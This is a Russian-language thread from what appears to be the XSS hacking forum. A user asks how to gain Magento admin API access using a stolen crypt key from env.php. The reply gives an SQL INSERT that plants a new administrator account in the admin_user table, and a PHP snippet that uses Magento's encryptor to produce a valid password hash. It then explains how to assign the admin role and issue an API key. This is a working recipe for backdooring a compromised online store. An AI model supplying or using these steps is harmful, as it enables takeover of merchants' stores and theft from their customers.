• XSS.stack #1 – первый литературный журнал от юзеров форума

Magento

как можно создать апи ключ админа самостоятельно имея crypt key из env.php? если это конечно возможно. версия CE 2.4.6-p1 - 2.4.6-p5
Доступ к БД есть?

Если есть, что-то вроде:
Код:
INSERT INTO admin_user (firstname, lastname, email, username, password, created, modified, logdate, lognum, reload_acl_flag, is_active, extra, rp_token, rp_token_created_at)
VALUES ('Admin', 'User', 'admin@example.com', 'newadmin', '<hashed_password>', NOW(), NOW(), NOW(), 0, 0, 1, '', NULL, NOW());

Для генерации хеша-пароля, можешь использовать что-то вроде:
Код:
<?php
use Magento\Framework\App\Bootstrap;

require 'app/bootstrap.php';

$bootstrap = Bootstrap::create(BP, $_SERVER);
$obj = $bootstrap->getObjectManager();

$encryptor = $obj->get('Magento\Framework\Encryption\EncryptorInterface');
$hash = $encryptor->getHash('your_password', true);

echo $hash;

Потом создать роль администратора и назначть роль администратора своему пользователю-админу
Теперь ты можешь зайти в админку, и создать себе API ключ
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх